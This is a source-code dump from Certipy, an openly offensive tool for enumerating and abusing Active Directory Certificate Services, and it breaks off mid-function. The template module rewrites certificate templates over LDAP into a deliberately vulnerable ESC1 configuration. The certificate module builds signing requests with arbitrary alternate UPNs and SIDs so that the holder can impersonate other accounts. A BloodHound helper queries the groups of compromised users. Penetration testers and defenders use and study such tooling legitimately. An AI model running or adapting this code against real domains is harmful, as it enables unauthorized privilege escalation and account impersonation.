default_from_transformer(value: Any) -> Any: """ Default transformer function that converts a value to its original form. Args: value: The value to transform Returns: The original value """ if isinstance(value, list): return [default_from_transformer(item) for item in value] if isinstance(value, str) and value.startswith("HEX:"): return bytes.fromhex(value[4:]) return value class Template: """ Certificate Template management class for viewing and modifying AD CS templates. This class provides functionality to retrieve, save, and modify certificate template configurations in Active Directory Certificate Services. """ def __init__( self, target: "Target", template: str = "", write_configuration: Optional[str] = None, write_default_configuration: Optional[str] = None, save_configuration: Optional[str] = None, no_save: bool = False, force: bool = False, connection: Optional[LDAPConnection] = None, **kwargs, # type: ignore ): """ Initialize a Template object for certificate template operations. Args: target: Target domain information template: Name of the certificate template to operate on write_configuration: Path to configuration file to apply write_default_configuration: Whether to apply the default ESC1 configuration (optionally with target SID) save_configuration: Path to save the current configuration no_save: Whether to skip saving the current configuration force: Do not prompt for confirmation before applying changes scheme: LDAP connection scheme (ldap or ldaps) connection: Optional existing LDAP connection to reuse **kwargs: Additional keyword arguments """ self.target = target self.template_name = template self.write_configuration_file = write_configuration self.write_default_configuration = write_default_configuration self.save_configuration_file = save_configuration self.no_save = no_save self.force = force self.kwargs = kwargs self._connection = connection @property def connection(self) -> LDAPConnection: """ Lazily establish and return an LDAP connection. Returns: An active LDAP connection to the target domain """ if self._connection is not None: return self._connection self._connection = LDAPConnection(self.target) self._connection.connect() return self._connection def configuration_to_json(self, configuration: Dict[str, Any]) -> str: """ Convert a template configuration to a JSON string. Converts binary attribute values to their hexadecimal representation for storage in JSON format. Args: configuration: Template configuration dictionary Returns: JSON string representation of the configuration """ output = {} for key, value in configuration.items(): if key in PROTECTED_ATTRIBUTES: continue into_transformer, _ = TRANSFORMERS.get( key, (default_into_transformer, None) ) output[key] = into_transformer(value) return json.dumps(output, indent=2, ensure_ascii=False) def get_configuration(self, template_name: str) -> Optional[LDAPEntry]: """ Retrieve the configuration for a certificate template from AD. Searches for the template by CN or displayName and returns its configuration. Args: template_name: Name of the certificate template to find Returns: LDAPEntry containing the template configuration or None if not found """ escaped_template = escape_filter_chars(template_name) # First try searching by CN results = self.connection.search( search_filter=f"(&(cn={escaped_template})(objectClass=pKICertificateTemplate))", search_base=self.connection.configuration_path, query_sd=True, ) # If not found by CN, try displayName if not results: results = self.connection.search( f"(&(displayName={escaped_template})(objectClass=pKICertificateTemplate))", search_base=self.connection.configuration_path, query_sd=True, ) if not results: logging.error( f"Could not find any certificate template for {template_name!r}" ) return None if len(results) > 1: # This should never happen, but just in case logging.error( f"Found multiple certificate templates identified by {template_name!r}" ) return None return results[0] def json_to_configuration( self, configuration_json: Dict[str, Any] ) -> Dict[str, Any]: """ Convert a JSON configuration back to a usable LDAP configuration. Converts hexadecimal strings back to binary data for LDAP operations. Args: configuration_json: Dictionary loaded from JSON Returns: Configuration dictionary with binary values ready for LDAP """ output = {} for key, value in configuration_json.items(): if key in PROTECTED_ATTRIBUTES: continue _, from_transformer = TRANSFORMERS.get( key, (None, default_from_transformer) ) output[key] = from_transformer(value) return output def load_configuration(self, configuration_path: str) -> Dict[str, Any]: """ Load a template configuration from a JSON file. Args: configuration_path: Path to the configuration JSON file Returns: Configuration dictionary with binary values Raises: ValueError: If the JSON file doesn't contain a dictionary FileNotFoundError: If the configuration file can't be found """ try: with open(configuration_path, "r") as f: configuration_json = json.load(f) if not isinstance(configuration_json, dict): raise ValueError( f"Expected a JSON object, got {type(configuration_json)!r}" ) return self.json_to_configuration(configuration_json) except FileNotFoundError: logging.error(f"Configuration file not found: {configuration_path}") raise except json.JSONDecodeError: logging.error(f"Invalid JSON in configuration file: {configuration_path}") raise ValueError("Invalid JSON in configuration file") except Exception as e: logging.error(f"Error loading configuration file: {e}") raise def save_configuration(self, configuration: Optional[LDAPEntry] = None) -> None: """ Save the current configuration to a JSON file. """ # Get the current configuration current_configuration = configuration if current_configuration is None: current_configuration = self.get_configuration(self.template_name) if not current_configuration: raise Exception( f"Failed to retrieve configuration for {self.template_name!r}. Aborting." ) current_configuration_json = self.configuration_to_json( current_configuration["attributes"] ) out_file = ( self.save_configuration_file.removesuffix(".json") if self.save_configuration_file else current_configuration.get("cn") ) out_file = f"{out_file}.json" logging.info(f"Saving current configuration to {out_file!r}") out_file = try_to_save_file( current_configuration_json, out_file, abort_on_fail=True ) logging.info( f"Wrote current configuration for {self.template_name!r} to {out_file!r}" ) def write_configuration(self) -> bool: """ Apply a new configuration to a certificate template. If no configuration file is provided, applies the default vulnerable configuration. If save_old is True, saves the current configuration before applying changes. Returns: True if the template was successfully updated, False otherwise """ if not self.template_name: logging.error("A template (-template) is required") return False # Get the configuration to apply if self.write_configuration_file: try: new_configuration = self.load_configuration( self.write_configuration_file ) except (FileNotFoundError, ValueError): return False else: # Only needed to make the typechecker pass. At this position in write_configuration, # the options write_configuration_file and write_default_configuration are mutually # exclusive so this should always pass. assert self.write_default_configuration is not None # Use the default vulnerable configuration new_configuration = create_esc1_template(self.write_default_configuration) # Get the current configuration old_configuration = self.get_configuration(self.template_name) if not old_configuration: return False # Save the old configuration if requested if not self.no_save: self.save_configuration(old_configuration) # Compute the changes to make changes = self._compute_changes(old_configuration, new_configuration) if not changes: logging.warning( "New configuration is the same as old configuration. Not updating" ) return False # Apply the changes return self._apply_changes(old_configuration, changes) def _compute_changes( self, old_configuration: LDAPEntry, new_configuration: Dict[str, Any] ) -> Dict[str, Any]: """ Compute the changes needed to update a template configuration. Args: old_configuration: Current template configuration new_configuration: New template configuration to apply Returns: Dictionary of changes to apply using LDAP modify operation """ changes = {} # Check for attributes to delete or modify for key in old_configuration["attributes"].keys(): if key in PROTECTED_ATTRIBUTES: continue # Delete attributes not in the new configuration if key not in new_configuration: changes[key] = [(ldap3.MODIFY_DELETE, [])] continue # Replace attributes with new values if different old_value = old_configuration.get(key) new_value = new_configuration[key] if type(old_value) != type(new_value): changes[key] = [(ldap3.MODIFY_REPLACE, new_value)] continue if isinstance(old_value, list): # Check if the list values are different if collections.Counter(old_value) != collections.Counter(new_value): changes[key] = [(ldap3.MODIFY_REPLACE, new_value)] continue if old_value != new_value: changes[key] = [(ldap3.MODIFY_REPLACE, new_value)] # Add new attributes not in the old configuration for key, value in new_configuration.items(): if ( key in changes or key in PROTECTED_ATTRIBUTES or key in old_configuration["attributes"] ): continue changes[key] = [(ldap3.MODIFY_ADD, value)] return changes def _apply_changes( self, old_configuration: LDAPEntry, changes: Dict[str, Any] ) -> bool: """ Apply computed changes to a template configuration. Args: old_configuration: Current template configuration changes: Dictionary of changes to apply Returns: True if changes were applied successfully, False otherwise """ template_name = old_configuration.get("cn") logging.info(f"Updating certificate template {template_name!r}") # Log the changes grouped by operation type self._log_changes(changes) if not self.force: # Ask for confirmation before applying changes confirm = input( f"Are you sure you want to apply these changes to {template_name!r}? (y/N): " ) if confirm.strip().lower() != "y": logging.info("Aborting changes") return False # Apply the changes result = self.connection.modify( old_configuration.get("distinguishedName"), changes, controls=security_descriptor_control(sdflags=0x4), ) if result["result"] == 0: logging.info(f"Successfully updated {template_name!r}") return True elif result["result"] == RESULT_INSUFFICIENT_ACCESS_RIGHTS: logging.error( f"User {self.target.username!r} doesn't have permission to update " f"these attributes on {template_name!r}" ) else: logging.error(f"Got error: {result['message']}") return False def _log_changes(self, changes: Dict[str, Any]) -> None: """ Log the changes to be applied, grouped by operation type. Args: changes: Dictionary of changes to apply """ # Group changes by operation (MODIFY_DELETE, MODIFY_REPLACE, MODIFY_ADD) by_op = lambda item: item[1][0][0] for op, group in groupby(sorted(changes.items(), key=by_op), by_op): op_name = { ldap3.MODIFY_ADD: "Adding", ldap3.MODIFY_DELETE: "Deleting", ldap3.MODIFY_REPLACE: "Replacing", }.get(op, op) logging.info(f"{op_name}:") for item in list(group): key = item[0] value = item[1][0][1] logging.info(f" {key}: {value!r}") def entry(options: argparse.Namespace) -> None: """ Entry point for the template command. Args: options: Command-line arguments """ target = Target.from_options(options, dc_as_target=True) # Remove target from options to avoid duplicate argument options.__delattr__("target") template = Template(target=target, **vars(options)) will_write = ( template.write_default_configuration is not None ) or template.write_configuration_file if template.save_configuration_file: template.save_configuration() if will_write: template.write_configuration() # if template.write_default_configuration or template.configuration: # # Apply the configuration # if not template.set_configuration(): # logging.error("Failed to set the template configuration") # return # _ = template.set_configuration() Certipy-5.1.0/certipy/entry.py000077500000000000000000000034371521657466500163610ustar00rootroot00000000000000# PYTHON_ARGCOMPLETE_OK import argparse import logging import sys import argcomplete from certipy import version from certipy.commands.parsers import ENTRY_PARSERS from certipy.lib import logger from certipy.lib.errors import handle_error def main() -> None: logger.init() print(version.BANNER, file=sys.stderr) if "-debug" in sys.argv or "--debug" in sys.argv: sys.argv = [arg for arg in sys.argv if arg not in ["-debug", "--debug"]] logger.logging.setLevel(logging.DEBUG) logger.set_verbose(True) else: logger.logging.setLevel(logging.INFO) for arg in sys.argv: if arg.lower() in ["--version", "-v", "-version"]: return parser = argparse.ArgumentParser( add_help=False, description="Active Directory Certificate Services enumeration and abuse", ) _ = parser.add_argument( "-v", "--version", action="store_true", help="Show Certipy's version number and exit", default=argparse.SUPPRESS, ) _ = parser.add_argument( "-h", "--help", action="help", default=argparse.SUPPRESS, help="Show this help message and exit", ) subparsers = parser.add_subparsers(help="Action", dest="action", required=True) actions = {} for entry_parser in ENTRY_PARSERS: action, entry = entry_parser.add_subparser(subparsers) actions[action] = entry argcomplete.autocomplete(parser, always_complete_options=False) if len(sys.argv) == 1: parser.print_help() sys.exit(1) options = parser.parse_args() try: actions[options.action](options) except Exception as e: logger.logging.error(f"Got error: {e}") handle_error() if __name__ == "__main__": main() Certipy-5.1.0/certipy/lib/000077500000000000000000000000001521657466500154025ustar00rootroot00000000000000Certipy-5.1.0/certipy/lib/__init__.py000066400000000000000000000000001521657466500175010ustar00rootroot00000000000000Certipy-5.1.0/certipy/lib/bloodhound.py000066400000000000000000000024431521657466500201140ustar00rootroot00000000000000from typing import Tuple class BloodHoundError(Exception): pass def resolve_type(labels: frozenset[str]): for type in ["User", "Group", "Computer"]: if type in labels: return type.upper() return "UNKNOWN" class BloodHound: def __init__( self, user: str, password: str, host: str = "localhost", port: int = 7687 ): try: from neo4j import GraphDatabase except ImportError: raise BloodHoundError( "Please install the 'bloodhound' extra to use this feature" ) self.driver = GraphDatabase.driver( f"neo4j://{host}:{port}", auth=(user, password), ) def get_owned_sids(self): records, _, _ = self.driver.execute_query( "MATCH (u:User)-[:MemberOf*1..]->(g:Group) WHERE COALESCE(u.system_tags, '') CONTAINS 'owned' return g.objectid" ) for record in records: yield record["g.objectid"] def lookup_sid(self, sid: str) -> Tuple[str, str]: records, _, _ = self.driver.execute_query( "MATCH (g {objectid:$sid}) return g", sid=sid ) if records: return records[0]["g"]["name"], resolve_type(records[0]["g"].labels) raise BloodHoundError("SID not found") Certipy-5.1.0/certipy/lib/certificate.py000077500000000000000000001336771521657466500202620ustar00rootroot00000000000000""" Certificate handling utilities for Certipy. This module provides functions and classes for: - Creating and manipulating X.509 certificates and CSRs - Handling private keys in various formats - Supporting Microsoft certificate extensions - Creating PKCS#12 (PFX) files - Implementing certificate renewal and archival operations Key components: - Certificate creation and conversion functions - CSR (Certificate Signing Request) operations - Support for Microsoft-specific extensions - Key management utilities """ import base64 import math import os import struct from typing import List, Optional, Tuple, Union from asn1crypto import cms as asn1cms from asn1crypto import core as asn1core from asn1crypto import csr as asn1csr from asn1crypto import x509 as asn1x509 from cryptography import x509 from cryptography.hazmat.primitives import hashes, serialization from cryptography.hazmat.primitives.asymmetric import ( dsa, ec, ed448, ed25519, padding, rsa, ) from cryptography.hazmat.primitives.asymmetric.types import PrivateKeyTypes from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.primitives.padding import PKCS7 from cryptography.hazmat.primitives.serialization import ( Encoding, NoEncryption, PrivateFormat, PublicFormat, pkcs12, ) from cryptography.x509 import SubjectAlternativeName, SubjectKeyIdentifier from cryptography.x509.oid import ExtensionOID, NameOID from impacket.dcerpc.v5.nrpc import checkNullString from pyasn1.codec.der import decoder from pyasn1.type.char import UTF8String from certipy.lib.logger import logging from certipy.lib.structs import ( CMCAddAttributesInfo, EnrollmentNameValuePair, OtherMsgs, PKIData, TaggedAttribute, TaggedCertificationRequest, TaggedContentInfos, TaggedRequest, ) # ========================================================================= # Constants and mappings # ========================================================================= # Map common DN attribute names to cryptography OIDs DN_MAP = { "CN": NameOID.COMMON_NAME, "SN": NameOID.SURNAME, "SERIALNUMBER": NameOID.SERIAL_NUMBER, "C": NameOID.COUNTRY_NAME, "L": NameOID.LOCALITY_NAME, "S": NameOID.STATE_OR_PROVINCE_NAME, "ST": NameOID.STATE_OR_PROVINCE_NAME, "STREET": NameOID.STREET_ADDRESS, "O": NameOID.ORGANIZATION_NAME, "OU": NameOID.ORGANIZATIONAL_UNIT_NAME, "T": NameOID.TITLE, "TITLE": NameOID.TITLE, "G": NameOID.GIVEN_NAME, "GN": NameOID.GIVEN_NAME, "E": NameOID.EMAIL_ADDRESS, "UID": NameOID.USER_ID, "DC": NameOID.DOMAIN_COMPONENT, } # Microsoft-specific OIDs PRINCIPAL_NAME = x509.ObjectIdentifier("1.3.6.1.4.1.311.20.2.3") NTDS_CA_SECURITY_EXT = x509.ObjectIdentifier("1.3.6.1.4.1.311.25.2") NTDS_OBJECTSID = x509.ObjectIdentifier("1.3.6.1.4.1.311.25.2.1") APPLICATION_POLICIES = x509.ObjectIdentifier("1.3.6.1.4.1.311.21.10") SMIME_CAPABILITIES = x509.ObjectIdentifier("1.2.840.113549.1.9.15") # Microsoft-specific ASN.1 OIDs OID_ENCRYPTED_KEY_HASH = asn1cms.ObjectIdentifier("1.3.6.1.4.1.311.21.21") OID_PRINCIPAL_NAME = asn1cms.ObjectIdentifier("1.3.6.1.4.1.311.20.2.3") OID_CMC_ADD_ATTRIBUTES = asn1cms.ObjectIdentifier("1.3.6.1.4.1.311.10.10.1") OID_NTDS_OBJECTSID = asn1cms.ObjectIdentifier("1.3.6.1.4.1.311.25.2.1") # Microsoft-specific SAN URL prefix for SID SAN_URL_PREFIX = "tag:microsoft.com,2022-09-14:sid:" # Register Microsoft-specific extensions asn1x509.ExtensionId._map.update( { "1.3.6.1.4.1.311.25.2": "security_ext", } ) asn1x509.ExtensionId._map.update( { "1.2.840.113549.1.9.15": "smime_capability", } ) asn1x509.Extension._oid_specs.update( { "security_ext": asn1x509.GeneralNames, } ) # asn1x509.Extension._oid_specs.update( # { # "smime_capability": asn1core.ObjectIdentifier, # type: ignore # } # ) # type: ignore # SMIME capabilities mapping SMIME_MAP = { "des": "1.3.14.3.2.7", "rc4": "1.2.840.113549.3.4", "3des": "1.2.840.113549.1.9.16.3.6", "aes128": "2.16.840.1.101.3.4.1.5", "aes192": "2.16.840.1.101.3.4.1.25", "aes256": "2.16.840.1.101.3.4.1.45", } # ========================================================================= # Certificate identity and parsing functions # ========================================================================= def cert_id_to_parts( identities: List[Tuple[Optional[str], Optional[str]]], ) -> Tuple[Optional[str], Optional[str]]: """ Extract username and domain from certificate identities. Args: identities: List of (id_type, id_value) tuples from certificate Returns: Tuple of (username, domain) """ usernames: List[str] = [] domains: List[str] = [] if len(identities) == 0: return (None, None) for id_type, identity in identities: if id_type is None or identity is None: continue if id_type != "DNS Host Name" and id_type != "UPN": continue cert_username = "" cert_domain = "" if id_type == "DNS Host Name": parts = identity.split(".") if len(parts) == 1: cert_username = identity cert_domain = "" else: cert_username = parts[0] + "$" cert_domain = ".".join(parts[1:]) elif id_type == "UPN": parts = identity.split("@") if len(parts) == 1: cert_username = identity cert_domain = "" else: cert_username = "@".join(parts[:-1]) cert_domain = parts[-1] usernames.append(cert_username) domains.append(cert_domain) return ("_".join(usernames), "_".join(domains)) def print_certificate_authentication_information( certificate: x509.Certificate, ) -> None: """ Display all authentication-related information found in a certificate. This function extracts and prints various identity methods used in a certificate, including Subject Alternative Names (SAN), Security Identifiers (SID), and other Microsoft-specific extensions that can be used for authentication. Args: certificate: X.509 certificate to analyze and display information for """ # Extract all identity information identities = get_identities_from_certificate(certificate) san_url_sid = get_object_sid_from_certificate_san_url(certificate) sid_extension_sid = get_object_sid_from_certificate_sid_extension(certificate) # Print certificate identities with clear section header logging.info("Certificate identities:") # Case: No identities found if len(identities) == 0 and not san_url_sid and not sid_extension_sid: logging.info(" No identities found in this certificate") return # Print Subject Alternative Name entries if identities: for id_type, id_value in identities: logging.info(f" SAN {id_type}: {id_value!r}") # Print SID from SAN URL (newer format) if san_url_sid: logging.info(f" SAN URL SID: {san_url_sid!r}") # Print SID from Security Extension (common format used by AD CS) if sid_extension_sid: logging.info(f" Security Extension SID: {sid_extension_sid!r}") def print_certificate_identities( identities: List[Tuple[str, str]], ) -> None: """ Print certificate identity information with appropriate formatting. Args: identities: List of tuples containing (identity_type, identity_value) """ if len(identities) > 1: logging.info("Got certificate with multiple identities") for id_type, id_value in identities: print(f" {id_type}: {id_value!r}") elif len(identities) == 1: id_type, id_value = identities[0] logging.info(f"Got certificate with {id_type} {id_value!r}") else: logging.info("Got certificate without identity") def get_identities_from_certificate( certificate: x509.Certificate, ) -> List[Tuple[str, str]]: """ Extract identity information from a certificate. Args: certificate: X.509 certificate to analyze Returns: List of tuples with (id_type, id_value) """ identities = [] try: # Get Subject Alternative Name extension san = certificate.extensions.get_extension_for_oid( ExtensionOID.SUBJECT_ALTERNATIVE_NAME ) if not isinstance(san.value, SubjectAlternativeName): raise ValueError("Invalid SAN value") # Extract UPN from OtherName fields for name in san.value.get_values_for_type(x509.OtherName): if name.type_id == PRINCIPAL_NAME: identities.append( ( "UPN", decoder.decode(name.value, asn1Spec=UTF8String)[0].decode(), ) ) # Extract DNS names for name in san.value.get_values_for_type(x509.DNSName): identities.append(("DNS Host Name", name)) except Exception: pass return identities def get_object_sid_from_certificate_san_url( certificate: x509.Certificate, ) -> Optional[str]: """ Extract a Security Identifier (SID) from a certificate's Subject Alternative Name (SAN) URL field. Microsoft AD CS can include SIDs in certificates as URLs with a specific format: tag:microsoft.com,2022-09-14:sid:{SID} Args: certificate: X.509 certificate to analyze Returns: Extracted Security Identifier as string, or None if not found """ try: # Get Subject Alternative Name extension san = certificate.extensions.get_extension_for_oid( ExtensionOID.SUBJECT_ALTERNATIVE_NAME ) if not isinstance(san.value, SubjectAlternativeName): raise ValueError("Invalid SAN value type") # Search for SIDs in UniformResourceIdentifier fields for name in san.value.get_values_for_type(x509.UniformResourceIdentifier): if SAN_URL_PREFIX in name.lower(): # Extract the SID portion that follows the prefix return name[ name.lower().find(SAN_URL_PREFIX) + len(SAN_URL_PREFIX) : ].strip() except Exception: pass return None def get_object_sid_from_certificate_sid_extension( certificate: x509.Certificate, ) -> Optional[str]: """ Extract a Security Identifier (SID) from a certificate's Microsoft-specific NTDS_CA_SECURITY_EXT extension. This extension is commonly used in Microsoft AD CS environments to associate certificates with specific Active Directory objects. Args: certificate: X.509 certificate to analyze Returns: Security Identifier as string, or None if not found """ try: # Get Microsoft security extension object_sid = certificate.extensions.get_extension_for_oid(NTDS_CA_SECURITY_EXT) if not isinstance(object_sid.value, x509.UnrecognizedExtension): raise ValueError( f"Expected UnrecognizedExtension for security extension, got {type(object_sid.value)}" ) # Extract SID string (format is binary with an S-1-5... SID string) sid_value = object_sid.value.value sid_start = sid_value.find(b"S-1-5") if sid_start == -1: logging.debug("Could not find SID pattern in security extension") return None return sid_value[sid_start:].decode().strip() except Exception: pass return None def get_object_sid_from_certificate( certificate: x509.Certificate, ) -> Optional[str]: """ Extract a Security Identifier (SID) from a certificate using multiple methods. This function attempts to find SIDs in both the Subject Alternative Name URL field and the Microsoft-specific security extension. Different certificate templates may use different approaches for storing SIDs, so both methods are tried. The security extension SID is prioritized as Windows uses this value for authentication purposes. If only the SAN URL SID is available, that will be returned. Args: certificate: X.509 certificate to analyze Returns: The security extension SID (preferred) or SAN URL SID if available, otherwise None """ # Extract SIDs using both available methods san_url_sid = get_object_sid_from_certificate_san_url(certificate) sid_extension_sid = get_object_sid_from_certificate_sid_extension(certificate) # Log debug information about found SIDs if san_url_sid: logging.debug(f"Found SID in SAN URL: {san_url_sid!r}") if sid_extension_sid: logging.debug(f"Found SID in security extension: {sid_extension_sid!r}") # Log a warning if both methods found different SIDs if san_url_sid and sid_extension_sid and san_url_sid != sid_extension_sid: logging.warning(f"Conflicting SIDs found in certificate:") logging.warning(f" SAN URL: {san_url_sid!r}") logging.warning(f" Security Extension: {sid_extension_sid!r}") logging.warning( "Windows will use the security extension SID for authentication purposes" ) # Return the security extension SID if available (preferred by Windows), # otherwise fall back to the SAN URL SID return sid_extension_sid or san_url_sid # ========================================================================= # Format conversion utilities # ========================================================================= def csr_to_der(csr: x509.CertificateSigningRequest) -> bytes: """Convert CSR to DER format.""" return csr.public_bytes(Encoding.DER) def csr_to_pem(csr: x509.CertificateSigningRequest) -> bytes: """Convert CSR to PEM format.""" return csr.public_bytes(Encoding.PEM) def cert_to_pem(cert: x509.Certificate) -> bytes: """Convert certificate to PEM format.""" return cert.public_bytes(Encoding.PEM) def cert_to_der(cert: x509.Certificate) -> bytes: """Convert certificate to DER format.""" return cert.public_bytes(Encoding.DER) def key_to_pem(key: PrivateKeyTypes) -> bytes: """ Convert private key to PEM format (PKCS#8). Args: key: Private key object Returns: PEM-encoded key as bytes """ return key.private_bytes( Encoding.PEM, PrivateFormat.PKCS8, encryption_algorithm=NoEncryption() ) def key_to_der(key: PrivateKeyTypes) -> bytes: """ Convert private key to DER format (PKCS#8). Args: key: Private key object Returns: DER-encoded key as bytes """ return key.private_bytes( Encoding.DER, PrivateFormat.PKCS8, encryption_algorithm=NoEncryption() ) def der_to_pem(der: bytes, pem_type: str) -> str: """ Convert DER-encoded data to PEM format. Args: der: DER-encoded binary data pem_type: PEM header/footer type (e.g., "CERTIFICATE") Returns: PEM-encoded data as string """ pem_type = pem_type.upper() b64_data = base64.b64encode(der).decode() return "-----BEGIN %s-----\n%s\n-----END %s-----\n" % ( pem_type, "\n".join([b64_data[i : i + 64] for i in range(0, len(b64_data), 64)]), pem_type, ) def der_to_csr(csr: bytes) -> x509.CertificateSigningRequest: """Convert DER-encoded CSR to object.""" return x509.load_der_x509_csr(csr) def der_to_key(key: bytes) -> PrivateKeyTypes: """Convert DER-encoded private key to object.""" return serialization.load_der_private_key(key, None) def pem_to_key(key: bytes) -> PrivateKeyTypes: """Convert PEM-encoded private key to object.""" return serialization.load_pem_private_key(key, None) def der_to_cert(certificate: bytes) -> x509.Certificate: """Convert DER-encoded certificate to object.""" return x509.load_der_x509_certificate(certificate) def pem_to_cert(certificate: bytes) -> x509.Certificate: """Convert PEM-encoded certificate to object.""" return x509.load_pem_x509_certificate(certificate) # ========================================================================= # Key and certificate operations # ========================================================================= def generate_rsa_key(key_size: int = 2048) -> rsa.RSAPrivateKey: """ Generate a new RSA private key. Args: key_size: Key size in bits (default: 2048) Returns: RSA private key object """ return rsa.generate_private_key(public_exponent=0x10001, key_size=key_size) def private_key_to_ms_blob(private_key: rsa.RSAPrivateKey) -> bytes: """ Convert RSA private key to Microsoft BLOB format. Args: private_key: RSA private key Returns: Microsoft BLOB format key data """ # Get key size bitlen = private_key.key_size private_numbers = private_key.private_numbers() public_numbers = private_numbers.public_numbers # Calculate byte lengths bitlen8 = math.ceil(bitlen / 8) bitlen16 = math.ceil(bitlen / 16) # Pack in Microsoft's format return struct.pack( " bytes: """ Create a PKCS#12/PFX container with certificate and private key. Args: key: Private key object cert: Certificate object password: Optional encryption password Returns: PKCS#12 data as bytes Raises: TypeError: If key type is not supported """ # Validate key type if not ( isinstance(key, rsa.RSAPrivateKey) or isinstance(key, dsa.DSAPrivateKey) or isinstance(key, ec.EllipticCurvePrivateKey) or isinstance(key, ed25519.Ed25519PrivateKey) or isinstance(key, ed448.Ed448PrivateKey) ): # Log error with details to help diagnose the issue logging.error( "Private key must be an instance of RSAPrivateKey, DSAPrivateKey, " f"EllipticCurvePrivateKey, Ed25519PrivateKey or Ed448PrivateKey. Received {type(key)}" ) logging.error("Dumping private key to PEM format") logging.error( key.private_bytes( Encoding.PEM, PrivateFormat.PKCS8, encryption_algorithm=NoEncryption() ) ) logging.error("Dumping certificate to PEM format") logging.error(cert.public_bytes(Encoding.PEM)) raise TypeError( "Private key must be an instance of RSAPrivateKey, DSAPrivateKey, " "EllipticCurvePrivateKey, Ed25519PrivateKey or Ed448PrivateKey" ) # Configure encryption algorithm encryption = NoEncryption() if password is not None: encryption = ( PrivateFormat.PKCS12.encryption_builder() .kdf_rounds(50000) .key_cert_algorithm(pkcs12.PBES.PBESv1SHA1And3KeyTripleDESCBC) .hmac_hash(hashes.SHA1()) .build(bytes(password, "utf-8")) ) # Create PFX return pkcs12.serialize_key_and_certificates( name=b"", key=key, cert=cert, cas=None, encryption_algorithm=encryption, ) def load_pfx( pfx: bytes, password: Optional[bytes] = None ) -> Tuple[Optional[PrivateKeyTypes], Optional[x509.Certificate]]: """ Load key and certificate from PKCS#12/PFX data. Args: pfx: PKCS#12 data password: Optional decryption password Returns: Tuple of (private_key, certificate) """ return pkcs12.load_key_and_certificates(pfx, password)[:-1] def rsa_pkcs1v15_sign( data: bytes, key: PrivateKeyTypes, hash_algorithm: type[hashes.HashAlgorithm] = hashes.SHA256, ) -> bytes: """ Sign data using RSA PKCS#1 v1.5 padding. Args: data: Data to sign key: Private key for signing hash_algorithm: Hash algorithm to use Returns: Signature bytes Raises: TypeError: If key is not an RSA private key """ if not isinstance(key, rsa.RSAPrivateKey): raise TypeError("key must be an instance of RSAPrivateKey") return key.sign(data, padding.PKCS1v15(), hash_algorithm()) def hash_digest(data: bytes, hash_algorithm: type[hashes.HashAlgorithm]) -> bytes: """ Compute hash digest of data. Args: data: Data to hash hash_algorithm: Hash algorithm to use Returns: Hash digest as bytes """ digest = hashes.Hash(hash_algorithm()) digest.update(data) return digest.finalize() # ========================================================================= # Subject handling functions # ========================================================================= def dn_to_components(dn: str) -> List[Tuple[str, str]]: """ Parse a Distinguished Name string into components. Args: dn: DN string (e.g., "CN=username,DC=domain,DC=local") Returns: List of (attribute_name, value) tuples """ components = [] component = "" escape_sequence = False for c in dn: if c == "\\": escape_sequence = True elif escape_sequence and c != " ": escape_sequence = False elif c == ",": if "=" in component: attr_name, _, value = component.partition("=") component = (attr_name.strip().upper(), value.strip()) components.append(component) component = "" continue component += c # Add the last component attr_name, _, value = component.partition("=") component = (attr_name.strip().upper(), value.strip()) components.append(component) return components def get_subject_from_str(subject: str) -> x509.Name: """ Create a Name object from a subject string. Args: subject: Subject DN string Returns: x509.Name object """ return x509.Name(x509.Name.from_rfc4514_string(subject).rdns[::-1]) # ========================================================================= # Certificate Signing Request (CSR) functions # ========================================================================= def create_csr( username: str, alt_dns: Optional[Union[bytes, str]], alt_upn: Optional[Union[bytes, str]], alt_sid: Optional[Union[bytes, str]], subject: Optional[str], key_size: int, application_policies: Optional[List[str]], smime: Optional[str], key: Optional[rsa.RSAPrivateKey] = None, renewal_cert: Optional[x509.Certificate] = None, ) -> Tuple[x509.CertificateSigningRequest, rsa.RSAPrivateKey]: """ Create a certificate signing request (CSR) with optional extensions. Args: username: Username for the subject alt_dns: Alternative DNS name alt_upn: Alternative UPN (User Principal Name) alt_sid: Alternative SID (Security Identifier) key: RSA private key (generated if None) key_size: Key size in bits (for key generation) subject: Subject DN string renewal_cert: Certificate being renewed application_policies: List of application policy OIDs smime: SMIME capability identifier Returns: Tuple of (CSR, private_key) """ # Generate key if not provided if key is None: logging.debug("Generating RSA key") key = generate_rsa_key(key_size) # Start building CSR certification_request_info = asn1csr.CertificationRequestInfo() certification_request_info["version"] = "v1" # Set subject name if subject: subject_name = get_subject_from_str(subject) else: subject_name = x509.Name( [ x509.NameAttribute(NameOID.COMMON_NAME, username.capitalize()), ] ) certification_request_info["subject"] = asn1csr.Name.load( subject_name.public_bytes() ) # Set public key public_key = key.public_key().public_bytes( Encoding.DER, PublicFormat.SubjectPublicKeyInfo ) subject_pk_info = asn1csr.PublicKeyInfo.load(public_key) certification_request_info["subject_pk_info"] = subject_pk_info # Build CSR attributes cri_attributes = [] # Add Subject Alternative Name extension if needed if alt_dns or alt_upn or alt_sid: general_names = [] # Add DNS name if alt_dns: if isinstance(alt_dns, bytes): alt_dns = alt_dns.decode() general_names.append(asn1x509.GeneralName({"dns_name": alt_dns})) # Add UPN if alt_upn: if isinstance(alt_upn, bytes): alt_upn = alt_upn.decode() general_names.append( asn1x509.GeneralName( { "other_name": asn1x509.AnotherName( { "type_id": OID_PRINCIPAL_NAME, "value": asn1x509.UTF8String(alt_upn).retag( {"explicit": 0} ), } ) } ) ) # Add SID URL if alt_sid: if isinstance(alt_sid, bytes): alt_sid = alt_sid.decode() general_names.append( asn1x509.GeneralName( {"uniform_resource_identifier": f"{SAN_URL_PREFIX}{alt_sid}"} ) ) # Create SAN extension san_extension = asn1x509.Extension( {"extn_id": "subject_alt_name", "extn_value": general_names} ) # Add extension to CSR attributes set_of_extensions = asn1csr.SetOfExtensions([[san_extension]]) cri_attribute = asn1csr.CRIAttribute( {"type": "extension_request", "values": set_of_extensions} ) cri_attributes.append(cri_attribute) # Add SMIME capability extension if requested if smime: # Create SMIME extension smime_extension = asn1x509.Extension( { "extn_id": "smime_capability", "extn_value": asn1x509.ParsableOctetString( asn1core.ObjectIdentifier(SMIME_MAP[smime]).dump() ), } ) # Add extension to CSR attributes set_of_extensions = asn1csr.SetOfExtensions([[smime_extension]]) cri_attribute = asn1csr.CRIAttribute( {"type": "extension_request", "values": set_of_extensions} ) cri_attributes.append(cri_attribute) # Add Security Identifier extension if requested if alt_sid: # Create security extension san_extension = asn1x509.Extension( { "extn_id": "security_ext", "extn_value": [ asn1x509.GeneralName( { "other_name": 